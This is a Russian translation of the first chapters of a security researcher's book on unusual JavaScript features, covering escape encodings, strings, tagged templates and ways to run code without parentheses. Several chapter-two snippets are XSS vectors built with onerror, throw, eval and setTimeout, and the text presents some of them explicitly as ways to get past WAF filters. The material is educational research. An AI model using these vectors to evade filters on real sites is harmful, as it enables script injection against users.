JavaScript для хакеров

Русский перевод книги Гарета Хейза о нестандартных возможностях JavaScript, фаззинге, DOM, уязвимостях браузеров, загрязнении прототипа и современных техниках XSS.

Больше крутых материалов в моём телеграм-канале @grogrigs

Научитесь мыслить как хакер

Гарет Хейз

Книга продаётся по адресу leanpub.com.

Эта версия опубликована 25 января 2024 года.

Расскажите о книге в Twitter!

Пожалуйста, помогите Гарету Хейзу рассказать об этой книге в Twitter!

Предлагаемый текст твита:

> Я только что купил книгу #javascriptforhackers автора @garethheyes.

Предлагаемый хештег книги: `#javascriptforhackers`.

Узнайте, что говорят о книге другие люди, щёлкнув следующую ссылку для поиска этого хештега в Twitter:

#javascriptforhackers

Посвящение

Моей семье, без которой я ничто. Я не смог бы сделать это без любви и поддержки своей семьи.

Глава 1. Введение

1.1. Об авторе

Исследователь PortSwigger Гарет Хейз, вероятно, больше всего известен своей работой по выходу из изолированных сред JavaScript и созданию чрезвычайно изящных XSS-векторов. Когда он не пишет книги в соавторстве (например, недавно вышедшую *Web Application Obfuscation*[1]), Гарет воспитывает двух замечательных дочерей, является мужем удивительной женщины и страстным болельщиком футбольного клуба Liverpool.

Работая в PortSwigger, Гарет часто создаёт новые XSS-векторы, исследует новые методы атак на веб-приложения и готовится выступать на конференциях по всему миру, таких как OWASP Allstars Amsterdam 2019, где он представил доклад «XSS Magic Tricks»[2]. Он также является автором справочника PortSwigger по XSS[3]. В свободное время он любит писать новые расширения BApp: именно он создал Hackvertor[4] и Taborator[5]. Когда Гарет не занимается хакингом, его можно застать за экспериментами с трёхмерным CSS, созданием игр и комнат на чистом CSS и HTML, без JavaScript. Если вам это интересно, загляните на его сайт: garethheyes.co.uk.

1.2. Страсть

JavaScript всегда был моей страстью. Меня завораживают способы, которые помогают глубже понимать JS. Нередко можно увидеть мои твиты о том, как вызывать функции без круглых скобок, о безумных XSS-векторах и вообще о способах глубже разобраться в той или иной возможности языка. Меня часто спрашивают, как приём из твита применить для обхода WAF или эксплуатации браузера. Для меня это не главное. Конечно, способы вызова функций JavaScript без круглых скобок можно использовать для обхода WAF, но смысл моих твитов зачастую в том, чтобы быстро получить знания, которые могут пригодиться позднее.

Один из примеров - `[].sort`. Метод `sort` принимает функцию, и я обнаружил, что этим можно злоупотребить для косвенного вызова функции `alert`; об этом я расскажу позднее. Я пытаюсь, так сказать, взломать собственный мозг, чтобы эти векторы стали для меня достаточно важными и запомнились. Вы увидите, что я публикую варианты одного и того же приёма, и мне, безусловно, помогает то, что сам поиск таких приёмов доставляет мне удовольствие. Как часто бывало, что вы читали книгу или статью, но прочитанное не укладывалось в голове? Ища способы взломать JavaScript, вы изучаете его возможность, а затем применяете полученные знания ради достижения цели. Неважно, какова эта цель: наличие ориентира помогает запомнить материал.

Такие методы на самом деле применимы практически к чему угодно, и это, по сути, здравый смысл. Возьмём спорт: нельзя стать лучше, просто читая о нём. Нужно применять знания, тренироваться и заниматься самим спортом.

С хакингом JS дело обстоит очень похоже. В повседневной работе вам никак не удастся пользоваться всеми возможностями JS, но, пытаясь его взломать, вы можете выбирать, какую возможность изучать. В этом и состоит моя философия, и именно об этом данная книга. Я постараюсь научить вас следовать этому подходу, быстро учиться и при этом получать удовольствие от своих занятий.

1.3. Среда

Чтобы следовать этому процессу, нужна быстрая среда для проведения экспериментов. Иными словами, вам требуется нечто, где можно выполнить код и мгновенно получить результат. Вариантов множество: консоль браузера, локальный веб-сервер или веб-приложение вроде JSFiddle. Лично я решил написать собственное веб-приложение Hackvertor, наделив его возможностью вычислять код, исследовать объекты и выводить HTML, однако другие варианты тоже вполне подходят. Мне просто хотелось большей мощности и уверенности в том, что введённые мной данные нигде не записываются. Как минимум ваша среда должна уметь вычислять JavaScript и возвращать результаты.

1.4. Поставьте цель

Настроив выбранную среду, следует поставить цель. Без цели можно так и просидеть перед пустой страницей, никуда не продвинувшись. Цель заставляет вас постоянно что-то пробовать, причём она может меняться. Например, одной из моих целей было «выполнить JavaScript без круглых скобок». Хорошая цель почти наверняка никогда не исчерпывается и к тому же превращается в другую. Так, упомянутая цель превратилась в «вызывать функции JavaScript без круглых скобок и передавать аргументы». Теперь видно, чем полезны обе цели: у вас есть ясное представление о том, что нужно сделать, и для достижения цели можно использовать возможности JavaScript не по назначению. В данном примере вторая цель сложнее первой, но знания, полученные при достижении первой, позволяют взяться за более трудную вторую.

1.5. Фаззинг

Фаззинг - один из важнейших инструментов в арсенале хакера JavaScript. Он позволяет очень быстро получать ответы на вопросы и открывать новое, поручая компьютеру сообщать результаты. Фаззинг - это просто написание кода, который перебирает символы, фрагменты кода или данные в поисках интересного поведения. При эксплуатации двоичных программ фаззер применяют для поиска отказа в обслуживании или сбоя, пригодного для эксплуатации, но при хакинге JavaScript задача состоит в достижении цели путём получения ответов на вопросы. Например, я поставил себе цель понять, какие символы разрешены в качестве пробельных. Вы можете спросить: почему просто не посмотреть в спецификации? При изучении поведения браузера спецификация не должна быть единственным источником сведений, поскольку браузеры порой ей не следуют. Иногда это происходит из-за ошибки, а иногда разработчики сознательно отступают от неё по различным причинам, например ради обратной совместимости.

Фаззинг служит важным инструментом поиска таких интересных пограничных случаев. Возможно, вы спросите, чем они важны. В приведённом примере с пробельными символами я писал синтаксический анализатор и изолированную среду JavaScript. Оказалось, что при разборе JavaScript пробельные символы имеют большое значение и могут позволить выйти из изолированной среды. Обрабатывая их именно так, как это делает браузер, я мог повысить безопасность своей среды. В дальнейшем я покажу, как с помощью фаззинга отвечать на вопросы и обнаруживать интересное поведение.

1.6. Настойчивость и удача

Хакинг JavaScript очень похож на исследования безопасности веб-приложений: для обнаружения интересного поведения требуется большая настойчивость и немалая удача. Разумеется, знания важны, но настойчивость позволяет расширять их и даёт шанс на удачу. Если вы только начинаете изучать JavaScript и пока знаете немного, принципы этой книги помогут быстро приобрести знания при условии, что вы проявите достаточную настойчивость. Если вы смотрите на пустой экран и совершенно не представляете, что делать, выберите новую цель или упростите нынешнюю, чтобы продолжать двигаться. Не бойтесь пробовать то, что, по вашему мнению, может не сработать. При должной настойчивости время не будет потрачено зря, поскольку по пути к интересным открытиям вы узнаёте множество мелочей. Помните: настойчивость не означает, что нужно всё время упорно заниматься одним и тем же. Можно вернуться к задаче через несколько месяцев и испытать другие методы.

1.7. Социальные сети

Когда я занимаюсь хакингом JS, я много пользуюсь Twitter. Он полезен тем, что позволяет мгновенно получить как положительные, так и отрицательные отзывы о найденном приёме. По мере роста числа подписчиков вы встретите людей с теми же интересами; они укажут на вариант приёма или на то, что вы упустили. Это замечательно, поскольку учитесь не только вы, но и все, кто видит разговор. Представьте, если бы такой подход применяли все: каждый учился бы очень быстро, и мы обнаружили бы весьма интересные особенности поведения JavaScript. Опубликованное в твите также закрепляется у меня в памяти, а если я что-нибудь забуду, то всегда могу найти конкретный приём поиском в Twitter или в выгруженном архиве своих твитов. Однако важно помнить, что Twitter плохо подходит для долговременного хранения данных. Если вы нашли нечто, чем особенно гордитесь, лучше написать статью в блоге, а затем опубликовать ссылку на неё.

1.8. Основы

В этом разделе я разберу основы хакинга JavaScript и заложу фундамент, необходимый для остальных глав. Если вы опытный разработчик или хакер JS, можете смело пропустить раздел. Если же хотите лучше изучить JavaScript, оставайтесь со мной. JavaScript поддерживает несколько видов кодирования: шестнадцатеричное, восьмеричное и два варианта кодирования Unicode.

1.8.1. Шестнадцатеричное кодирование

Сначала разберём шестнадцатеричное кодирование. Оно работает только внутри строк; попытка использовать такие последовательности в идентификаторах завершится неудачей. В шестнадцатеричной системе основание равно 16, а управляющая последовательность начинается с x. Вот несколько примеров.

Рисунок 1. Шестнадцатеричные последовательности в JavaScript

```
'\x61'//a
"\x61"//a
`\x61`//a

function a(){}
\x61()//ошибка
```

Как видно, первые три примера правильно работают внутри строк, а последний не вызывает функцию, потому что в этом месте шестнадцатеричные управляющие последовательности запрещены. Есть ещё одна любопытная особенность: в них обязательно должна использоваться строчная x. Прописная X не будет воспринята как часть такой последовательности; движок JavaScript просто обработает строку как буквальную X, за которой идут указанные символы.

1.8.2. Unicode

Управляющие последовательности Unicode тоже работают в строках, но, кроме того, разрешены в идентификаторах. Они существуют в двух формах: \u и \u{}. Первая позволяет получить символ из диапазона 0x00-FFFF, а вторая - указать любую кодовую позицию Unicode. Вот несколько примеров.

Рисунок 2. Управляющие последовательности Unicode в JavaScript

```
'\u0061'//a
"\u0061"//a
`\u0061`//a

function a(){}
\u0061()//правильно вызывает функцию
```

Весь приведённый код выполнится без ошибок: строки каждого вида допускают управляющие последовательности Unicode, и функция будет вызвана правильно. Важно помнить, что в этой форме необходимо указывать четыре шестнадцатеричных символа. Например, \u61 недопустима, и большинство браузеров выдаст исключение. Некоторые браузеры разрешали ошибочные последовательности вроде \u61, но это было дефектом браузера. Вне строк нельзя кодировать круглые скобки и другие символы, разрешены только идентификаторы. Теперь рассмотрим другую разновидность управляющих последовательностей Unicode, которая позволяет задавать кодовые позиции из всего диапазона Unicode. По своим свойствам они сходны с обычными последовательностями Unicode: их можно использовать в строках и идентификаторах, однако они не ограничены четырьмя шестнадцатеричными символами.

Для записи таких последовательностей служит форма \u{}, внутри фигурных скобок которой указывается шестнадцатеричная кодовая позиция Unicode. Следующие примеры с этой разновидностью записи работают правильно.

Рисунок 3. Управляющие последовательности Unicode в стиле ES6 в JavaScript

```
'\u{61}'//a
"\u{000000000061}"//a
`\u{0061}`//a

function a(){}
\u{61}()//правильно вызывает функцию

\u{3134a}=123//символ Unicode "3134a" разрешён в имени переменной
```

Как показывает код, допускается как неограниченное число ведущих нулей, так и их отсутствие. Последний пример демонстрирует возможность указывать символы Unicode с большими номерами. В этом и состоят основные различия между двумя формами управляющих последовательностей Unicode.

1.8.3. Восьмеричное кодирование

Восьмеричные управляющие последовательности используют основание 8 и разрешены только в строках. Отдельного префикса у них нет: записывается обратная косая черта, за которой следует число по основанию 8. Если использовать цифру за пределами восьмеричного диапазона, движок JavaScript просто вернёт эту цифру.

Рисунок 4. Допустимые и недопустимые восьмеричные управляющие последовательности

```
'\141'//a
"\8"//цифра вне восьмеричного диапазона, поэтому возвращается 8
```

В шаблонных строках восьмеричные управляющие последовательности запрещены.

1.8.4. eval и управляющие последовательности

Теперь, когда вы знаете доступные виды управляющих последовательностей, их можно применять с `eval` и другими формами вычисления кода, например `setTimeout`. При использовании с такими функциями их приходится экранировать дважды, а при вложении - иногда и большее число раз. Поскольку `eval` работает со строками, функция пытается декодировать переданные ей входные данные. Когда JavaScript действительно выполняется, движок видит уже декодированную строку, что позволяет обойти некоторые сформулированные выше правила. Помните, например, что шестнадцатеричные последовательности можно использовать только в строках? Если применить `eval`, шестнадцатеричная последовательность сначала декодируется, а затем выполняется, поэтому следующий код совершенно допустим.

Рисунок 5. Шестнадцатеричная управляющая последовательность в вызове `eval`

```
eval('\x61=123')//a = 123
```

То же самое можно сделать с управляющими последовательностями Unicode, но, поскольку они разрешены в идентификаторах, их можно закодировать дважды.

Рисунок 6. Управляющая последовательность Unicode в вызове `eval`

```
eval('\\u0061=123')
//\u0061 = 123
//a = 123
```

Как показывает пример, внутри строки можно экранировать обратную косую черту, в результате чего получается управляющая последовательность Unicode, которая затем используется как идентификатор. По сути, эта последовательность преобразуется в `a=123`. Экранировать разрешается не только обратную косую черту: при использовании `eval` можно экранировать любую часть последовательности и, разумеется, сочетать разные виды кодирования. Это трудно показать, не сделав пример чрезмерно сложным и запутанным, поэтому продемонстрирую по частям.

```
eval('\\u0061=123')//управляющая последовательность Unicode с присваиванием "a"
eval('\\u\x30061=123')//шестнадцатеричное кодирование первого нуля
eval('\\u\x300\661=123')//восьмеричное кодирование цифры 6
```

1.8.5. Строки

Существуют три вида строк: в одинарных кавычках, в двойных кавычках и шаблонные строки. Как уже говорилось в разделе об управляющих последовательностях, во всех разновидностях строк можно применять различные виды кодирования. Кроме того, доступны односимвольные управляющие последовательности.

Рисунок 7. Односимвольные управляющие последовательности

```
'\b'//возврат на одну позицию
'\f'//перевод страницы
'\n'//новая строка
'\r'//возврат каретки
'\t'//табуляция
'\v'//вертикальная табуляция
'\0'//нулевой символ
'\''//одинарная кавычка
'\"'//двойная кавычка
'\\'//обратная косая черта
```

Можно также экранировать любой символ, который не является частью управляющей последовательности: он будет воспринят как сам этот символ. Например:

```
"\H\E\L\L\O"//HELLO
```

Любопытно, что обратная косая черта в конце строки позволяет продолжить её на следующей строке.

```
'I continue \
onto the next line'
```

Такое поведение распространяется и на имена свойств объектов.

Рисунок 8. Обратная косая черта в именах свойств

```
let foo = {
    'bar\
    ': "baz"
};
```

Строки в одинарных и двойных кавычках не поддерживают несколько строк, если только не использовать \ для продолжения на следующей строке. Шаблонные строки, напротив, поддерживают и многострочность, и такое продолжение. Это подтверждает следующий код.

Рисунок 9. Обратная косая черта в шаблонных строках

```
x = `a\
b\
c`;
x==='abc'//true

x = `a
b
c`;
x==='abc//false
```

Как видно, первый фрагмент доказывает, что продолжение работает и в шаблонных строках, поскольку символы новой строки не добавляются к строке. Второй фрагмент демонстрирует поддержку новых строк: они включаются в содержимое. В шаблонных строках есть возможность выполнять произвольные выражения JavaScript внутри подстановок. Подстановки обозначаются ${}, а выражение помещается внутрь фигурных скобок.

Рисунок 10. Выражения-подстановки в шаблонных строках

```
`${7*7}`//49
```

Удивительно, но внутри подстановок разрешено любое выражение JavaScript, включая шаблонную строку. Следовательно, шаблонные строки можно вкладывать друг в друга, получая причудливый, но совершенно допустимый JavaScript.

Рисунок 11. Вложенные выражения с шаблонными строками

```
`${`${`${`${7*7}`}`}`}`//49
```

Представьте, что вам нужно написать для этого синтаксический анализатор! Я восхищаюсь V8, JavaScriptCore и SpiderMonkey: современный JavaScript настолько сложен, что для правильного разбора требуется очень умная реализация. Кроме того, с помощью так называемых теговых шаблонов можно вызывать функции. Достаточно указать функцию или выражение, возвращающее вызываемую функцию, а затем поставить обратные кавычки.

Рисунок 12. Вызов `alert` теговым шаблоном

```
alert`1337`//вызывает функцию alert с аргументом 1337
```

Как уже сказано, перед шаблоном допускается и выражение, поэтому можно получить ещё более необычный JavaScript, вызывающий несколько функций. Поднимем сложность на ступень выше и покажем это. Если функция возвращает саму себя, после неё можно поставить неограниченное число пар обратных кавычек.

Рисунок 13. Рекурсивный теговый шаблон

```
function x(){return x}
x``````````````
```

На вид это ошибка, но код выполнится в любом движке JavaScript, поддерживающем теговые шаблоны. Сначала функция вызывается один раз. Поскольку она возвращает саму себя, допускается ещё одна шаблонная строка, ведь результат снова является функцией, и так далее.

1.8.6. call и apply

Свойство `call`, имеющееся у каждой функции, позволяет вызвать её и изменить значение `this`: оно передаётся первым аргументом, а все последующие аргументы передаются самой функции. Например:

Рисунок 14. Использование `call()`

```
function x(){
  console.log(this.bar);//baz
}
let foo={bar:"baz"}
x.call(foo);
```

В этом примере объект `foo` передаётся функции `call` как значение `this` для функции `x`. Функция `x` обращается к `this`, который теперь ссылается на наш объект `foo`, поэтому свойство `bar` возвращает `baz`. В функцию `x` не передаётся аргументов. Если требуется передать их, просто добавьте их в вызов `call` следующим образом.

Рисунок 15. Использование `call()` со значением `null`

```
function x() {
    console.log(arguments[0]);//1
    console.log(arguments[1]);//2
    console.log(this);//[object Window]
}
x.call(null, 1, 2)
```

Если для функции `call` не предоставить значение `this`, то вне строгого режима будет использован объект `window`. Поскольку в первом аргументе `call` мы передали `null` и не находимся в строгом режиме, значение `this` по умолчанию станет объектом `window`. При наличии директивы `use strict` значением `this` будет `null`, а не `window`.

Рисунок 16. Использование `call()` со значением `null` и `use strict`

```
function x() {
    "use strict";
    console.log(arguments[0]);//1
    console.log(arguments[1]);//2
    console.log(this);//null
}
x.call(null, 1, 2)
```

Функция `apply` почти полностью совпадает с `call`, но имеет одно важное отличие: вторым аргументом ей можно передать массив аргументов.

Рисунок 17. Использование `apply()` со значением `null`

```
function x() {
    console.log(arguments[0]);//1
    console.log(arguments[1]);//2
    console.log(this);//[object Window]
}
x.apply(null, [1, 2])
```

1.9. Итоги

В этой главе мы мягко познакомились с основными идеями книги и изучили различные полезные возможности JavaScript, которые позднее позволят нам создавать интересные векторы. Мы также познакомились с моим подходом к хакингу JavaScript и узнали, как применять его, чтобы учиться быстрее. В следующей главе мы продолжим путешествие по JavaScript и поставим перед собой собственную цель, чтобы освоить новые приёмы.

Сноски

[1] [назад] amazon.co.uk
[2] [назад] ams.globalappsec.org
[3] [назад] portswigger.net
[4] [назад] portswigger.net
[5] [назад] portswigger.net

Глава 2. JavaScript без круглых скобок

2.1. Вызов функций без круглых скобок

Название этой главы обозначает одну из моих любимых целей, потому что в ней скрыта огромная глубина. Её можно разбить на множество подцелей, которые помогут быстро понять возможности JavaScript. Кажется, моя первая попытка выполнить JS без круглых скобок состояла в экспериментах с методом `valueOf`. Он применяется, когда от определённого объекта требуется получить примитивное значение, например число. Обычно его используют в литерале объекта, чтобы объект мог взаимодействовать с другими примитивами, например участвовать в сложении или вычитании.

Рисунок 18. Использование `valueOf()`

```
let obj = {valueOf(){return 1}};
obj+1//2
```

Это интересно, поскольку `valueOf` позволяет определить функцию, которая будет вызвана, когда объект используется как примитив. Значит, вместо собственной функции можно просто указать `alert`, и тогда вызовется она, верно? Не всё так просто. Попробуем и посмотрим, что произойдёт.

Рисунок 19. Использование `valueOf` **для вызова** `alert()` **приводит к исключению**

```
let obj = {valueOf:alert};
obj+1//Illegal invocation
```

В качестве функции, вызываемой методом `valueOf`, мы задаём `alert`. Объект участвует в операции сложения, которая вызывает `valueOf`. Метод `valueOf` ссылается на функцию `alert`, но при попытке её вызвать движок JavaScript выдаёт ошибку `illegal invocation`. Причина в том, что функции `alert` требуется объект `window` в качестве `this`. В нашем случае при вызове `alert` значением `this` становится собственный объект `obj`, поэтому и возникает исключение. Большинство объектов JavaScript наследует от прототипа `Object`, а `valueOf` как раз определён в `Object.prototype`. Следовательно, собственный объект нам не нужен: можно взять существующий, ведь практически у каждого объекта есть `valueOf`. Догадываетесь, к чему я веду? У самого объекта `window` есть метод `valueOf`, и мы можем его переопределить.

Рисунок 20. Использование `valueOf` **для вызова** `alert()`

```
window.valueOf=alert;window+1//вызывает alert()
```

На этот раз `alert` вызывается успешно. Мы изменили метод `valueOf` объекта `window`, поэтому при вызове `valueOf` объектом `this` является `window`, а ошибка `illegal invocation` не возникает. Возможно, вы заметили, что запись можно сократить: указывать `window.` необязательно, поскольку использование объекта `window` подразумевается. Можно удалить `window.`, и `valueOf` всё равно будет работать с объектом `window`. Выше я написал его для ясности, однако на момент подготовки книги работает и следующий вариант.

Рисунок 21. Вызов `alert()` **через** `valueOf()` **без** `window.valueOf`

```
valueOf=alert;window+1//вызывает alert())
```

Таким же образом вместо `valueOf` можно использовать `toString`.

Рисунок 22. Вызов `alert()` **через** `toString` **без** `window.toString`

```
toString=alert;window+''
```

Это отличное направление для исследований, поскольку могут существовать и другие способы вызова функций.

2.2. Вызов функций с аргументами без круглых скобок

Теперь немного расширим цель. Вместо простого вызова функции попробуем вызвать её и передать аргументы, совершенно не используя круглых скобок. Однажды во время хакинга JS меня осенило: я вспомнил об обработчике исключений и о том, что ему можно назначить собственную функцию. Если вы не знаете, у объекта `window` есть глобальный обработчик `onerror`. Когда вы задаёте его, ваша функция получает все исключения со страницы. Обработчик вызывается с сообщением в первом аргументе, URL во втором, номером строки в третьем, номером столбца в четвёртом и, наконец, объектом ошибки в последнем аргументе. Нас интересует аргумент с сообщением: если мы сможем на него повлиять, обработчик будет вызван со строкой в первом аргументе. Как же вызвать обработчик с выбранным нами аргументом? Разумеется, можно назначить обработчик, а затем вызвать исключение JavaScript. Для этого можно сгенерировать недопустимый код или воспользоваться инструкцией `throw`.

Инструкция `throw` позволяет создать новое исключение и задать собственное сообщение об ошибке. Сообщением может служить выражение JavaScript, что позднее окажется важным. Если вы разрабатываете на JavaScript, то, вероятно, знакомы с этой инструкцией и часто видели примерно такой код.

Рисунок 23. Генерация собственного исключения

```
throw new Error('Some exception');
```

Как уже сказано, `throw` принимает выражение, которое не обязано быть объектом. Можно выбросить строку, и она будет передана обработчику ошибок. Таким образом, для вызова функции с аргументами нужно назначить обработчик и выбросить строку, как показано ниже.

Рисунок 24. Злоупотребление `throw` и `onerror` для вызова функций с аргументами

```
onerror=alert;throw 'foo'
```

По крайней мере в Chrome результатом будет окно `alert` с текстом `Uncaught foo`. Возможно, вы спросите, как выполнить произвольный код. Если заменить `alert` на `eval`, выброшенное исключение будет вычислено как код. Но тогда остаётся досадное слово `Uncaught` с пробелом. Чтобы обойти проблему, достаточно внедрить знак равенства: `Uncaught` превратится в имя переменной при присваивании, и получится допустимый JavaScript.

Рисунок 25. Использование `onerror` с `eval()` и `throw`

```
onerror=eval;
throw"=alert\x281\x29";
```

Следует учесть, что `throw` является инструкцией, а потому не может использоваться как выражение. Например, её нельзя поместить в вызов функции.

Рисунок 26. Недопустимое использование `throw`

```
alert(throw'test');//Ошибка
```

Поэтому необходимо следить, где вы её применяете. Если требуется обойти WAF (Web Application Firewall, межсетевой экран веб-приложений), нужно знать, какие символы доступны. Поставим небольшую подцель: как с помощью `throw` вызвать произвольный JavaScript без точек с запятой? В JavaScript существуют блочные инструкции. Раньше их применяли нечасто, потому что `var` не имел блочной области видимости, но с появлением `let` стала доступна блочная область видимости, так

что, возможно, блоки станут популярнее. После блочной инструкции точку с запятой ставить не требуется, и это позволяет легко обойти соответствующее ограничение.

Рисунок 27. Недопустимое использование `throw`

```
{onerror=eval}throw"=alert\x281337\x29"
```

Другой способ обойти ограничение на символы - воспользоваться ASI (automatic semicolon insertion, автоматической вставкой точек с запятой) в JavaScript. Вместо точек с запятой можно поставить переводы строк, и JavaScript вставит разделители автоматически.

Рисунок 28. Переводы строк с `throw` **и обработчиком** `onerror`

```
onerror=alert
throw 1337
```

В качестве перевода строки JavaScript также поддерживает разделители абзаца и строки. Они чрезвычайно полезны при обходе WAF: последовательность `onerror=` наверняка будет заблокирована, но регулярные выражения нередко упускают альтернативные символы. Я покажу их через `eval`, поскольку сами символы отображаются не слишком хорошо.

Рисунок 29. Разделители строки и абзаца с `onerror` **и** `throw`

```
eval("onerror=\u2028alert\u2029throw 1337");
```

Управляющая последовательность Unicode `\u2029` обозначает разделитель абзаца, а `\u2028` - разделитель строки. Оба действуют как новая строка, и везде, где можно поставить перевод строки, можно использовать эти символы.

2.3. Выражения с throw

У инструкции `throw` есть интересная особенность: ей можно передать выражение, правая часть которого поступит обработчику исключений. Если смысл пока неясен, рассмотрим оператор запятая. Он вычисляет выражения слева направо и возвращает последний операнд. Например, присвоим значение переменной `foo` и применим оператор запятая.

Рисунок 30. Оператор запятая

```
let foo = ('bar', 'baz');
```

Какое значение получит `foo`? Догадались? `baz`, поскольку оператор запятая возвращает последнюю часть выражения. Инструкция `throw` принимает выражение JavaScript, поэтому оператор запятая прекрасно работает и здесь. Этой возможностью можно злоупотребить, чтобы уменьшить число используемых символов и получить неожиданный JavaScript.

Рисунок 31. Оператор запятая и `throw`

```
throw onerror=alert,1337
```

Этот код применяет `throw` и назначает обработчик `onerror`, затем использует оператор запятая. Результат выражения `1337` передаётся обработчику исключений, вследствие чего `alert` вызывается с текстом `Uncaught 1337`. Можно использовать любое число операндов, пока они входят в одно выражение; обработчику исключений всегда будет передан последний.

Рисунок 32. Оператор запятая и `throw` **с последним выражением**

```
throw onerror=alert,1,2,3,4,5,6,7,8,9,10//Uncaught 10
```

Ещё одна возможность JavaScript - необязательная переменная исключения в предложении `catch`. Благодаря ей блоки `try` и `catch` можно применять без круглых скобок, а затем просто снова выбросить исключение, чтобы вызвать обработчик.

Рисунок 33. `try`**,** `catch` **и** `throw`

```
try{throw onerror=alert}catch{throw 1337}
```

2.4. Теговые шаблоны

Теговые шаблонные строки дают много способов вызывать функции без круглых скобок. Как говорилось в разделе о строках первой главы, функции можно вызывать с помощью шаблонных строк.

Рисунок 34. `try`**,** `catch` **и** `throw`

```
alert`1337`
```

Приведённый код вызывает `alert` со значением `1337`. Шаблонные строки также поддерживают подстановки, в которые можно встраивать выражения JavaScript. Подстановки обозначаются `${}` и могут содержать даже вложенные шаблонные строки.

Рисунок 35. Подстановки в шаблонных строках

```
`${alert(1337)}`
`${`${alert(1337)}`}`
```

При использовании теговой шаблонной строки функция получает массив строк в первом аргументе. Если подстановок нет, в нём будет одна строка, а при наличии подстановок строки разделяются.

Рисунок 36. Разделение строк подстановками

```
alert`foobar`//foobar
alert`foo${1}bar`//foo,bar
```

Этой возможностью можно воспользоваться для вычисления кода, однако при использовании `eval` код выполнен не будет.

Рисунок 37. Теговые шаблоны не вычисляются как строка

```
eval`alert\x281337\x29`//alert не будет вызвана
```

Догадаетесь, почему? Функция `eval` просто вернёт массив, не преобразовав переданный ей аргумент в строку. Если взять другую функцию, например `setTimeout`, которая преобразует аргумент в строку, всё прекрасно сработает.

Рисунок 38. Теговые шаблоны не вычисляются как строка

```
setTimeout`alert\x281337\x29`//вызывается alert(1337)
```

Но это ещё не всё. Если подстановка вычисляется в строку, строка не добавляется в массив строк первого аргумента, а фактически становится вторым аргументом, следующая - третьим и так далее.

Рисунок 39. Строки из подстановок тегового шаблона

```
function x(){
  console.log(arguments);//Arguments(4) [Array(4), 'foo', 'bar', 'baz',...
}

x`${'foo'}${'bar'}${'baz'}`
```

Этой особенностью можно злоупотребить, чтобы вызвать конструктор `Function` с произвольным JavaScript. Сначала нужно учесть пару обстоятельств. Конструктор `Function` принимает несколько

аргументов. Если передать один, он станет телом функции; если аргументов несколько, телом будет последний. Следовательно, в первом аргументе можно использовать массив строк, который преобразуется в строку и задаёт аргумент создаваемой функции, а в последнем аргументе - результат выражения-подстановки.

Рисунок 40. Строки из подстановок тегового шаблона с конструктором `Function`

```
Function`x${'alert\x281337\x29'}`//создаёт функцию
```

Вычислив этот код, вы увидите, что он создаёт анонимную функцию с аргументом `x` и телом, но не выполняет её. Для выполнения функцию нужно вызвать. Как мы узнали в первой главе, перед теговым шаблоном допускается любое выражение. Поэтому для вызова созданной функции достаточно добавить в конец выражения ещё пару обратных кавычек.

Рисунок 41. Строки из подстановок тегового шаблона с конструктором `Function` **и двойным вызовом**

```
Function`x${'alert\x281337\x29'}```//создаёт и вызывает функцию
```

Интересно, что выражения-подстановки, как мы уже видели, отделяются от строк и передаются в другом аргументе. Более того, сохраняется их тип, поэтому первым аргументом может быть массив строк, вторым - значение любого типа и так далее. В результате получается диковинный на вид, но совершенно допустимый JavaScript.

Попробуем злоупотребить этой возможностью, начав с `setTimeout`. Функции можно передать три аргумента: первый - строка или вызываемая функция; второй - число миллисекунд до вызова; третий - аргументы, передаваемые функции, при условии что первый аргумент является функцией, а не строкой. Объединив эти знания, можно предположить, что следующий код сработает.

Рисунок 42. Теговый шаблон с `setTimeout`**, который не работает**

```
setTimeout`${alert}${0}${1337}`//не работает
```

Причина неудачи в том, что первым аргументом передаётся пустой массив строк, а не функция `alert`. Придётся искать иной способ выполнить произвольный JavaScript. В первой главе мы изучили `apply` и `call`. Здесь с помощью `call` можно было бы назначить массив строк значением `this` для функции; тогда первая подстановка стала бы первым аргументом `setTimeout`. Попробуем и посмотрим, что получится.

Рисунок 43. Теговый шаблон с `call`

```
setTimeout.call`${alert}${0}${1337}`//не работает: Illegal invocation
```

Код не работает, поскольку значением `this` перестал быть объект `window`, а в таком случае `setTimeout` выдаёт ошибку `illegal invocation`. Если вместо подстановки использовать строку, всё будет в порядке: функции `setTimeout` передаётся только строка в первом аргументе, второй и третий аргументы отсутствуют, а значением `this` остаётся объект `window`.

Рисунок 44. Теговый шаблон с `setTimeout` **без** `call`

```
setTimeout`alert\x281337\x29`
```

Наша подцель - вызвать через подстановки любую функцию, поэтому нужно как-то обойти ограничение, связанное с ошибкой `illegal invocation`. Для этого рассмотрим способы вызова `alert`. Мы уже видели, что можно назначить `onerror=alert`, но какие существуют другие варианты? Если подумать, нужен API JavaScript, который позволяет вызвать функцию, передав ссылку на неё. Тогда функции можно будет вызывать из подстановок. Сначала следует изучить доступные методы. Для этого подойдут консоль, веб-приложение или собственный инспектор. Я выбрал последний вариант и воспользовался написанным мною инструментом Hackability Inspector. Перебирая с его помощью строковые методы, я вспомнил, что функция `replace` позволяет указать

функцию, которая будет вызвана при обнаружении заменяемого совпадения. Если передать ссылку на `alert`, возможно, `replace` сможет её вызвать.

Рисунок 45. Функция `replace` с `alert` в качестве функции обратного вызова

```
'a'.replace(/./,alert)//вызывает alert со значением a
```

Выглядит многообещающе. Мы берём строку `a`, регулярное выражение для её поиска и функцию `alert`, которая вызывается при обнаружении совпадения. Но есть пара проблем: регулярное выражение должно найти совпадение, а аргументом функции становится само совпадение. К счастью, `replace` разрешает указывать не только регулярное выражение, но и строку. Следовательно, можно использовать массив совпадений тегового шаблона, который будет преобразован из массива в строку.

Рисунок 46. Функция `replace` как теговый шаблон

```
'a,'.replace`a${alert}`//вызывает alert со значением a,
```

Получилось несколько странно. Из-за преобразования массива в строку приходится передавать ещё и запятую. Как это обойти? Один из способов - через `call` изменить значение `this`, что позволит управлять аргументом с совпадением, а для поиска любого символа взять регулярное выражение.

Рисунок 47. Функция `replace` с `call` в роли тегового шаблона

```
'a'.replace.call`1${/./}${alert}`//вызывает alert со значением 1
```

Что здесь происходит? Функция `replace` вызывается через `call`, вследствие чего значением `this` становятся строки тегового шаблона, соответствующие `1,`. Поскольку применяется `call`, регулярное выражение передаётся первым аргументом `replace`; оно совпадает с любым одиночным символом, кроме перевода строки. Затем передаётся ссылка на `alert`, и в результате `alert` вызывается со значением `1`. Уф. Довольно безумно, правда? Кто бы мог подумать, что шаблонные строки можно использовать таким образом? Попробуйте решить задачу: вызвать `alert` со значением `1337`, а не `1`.

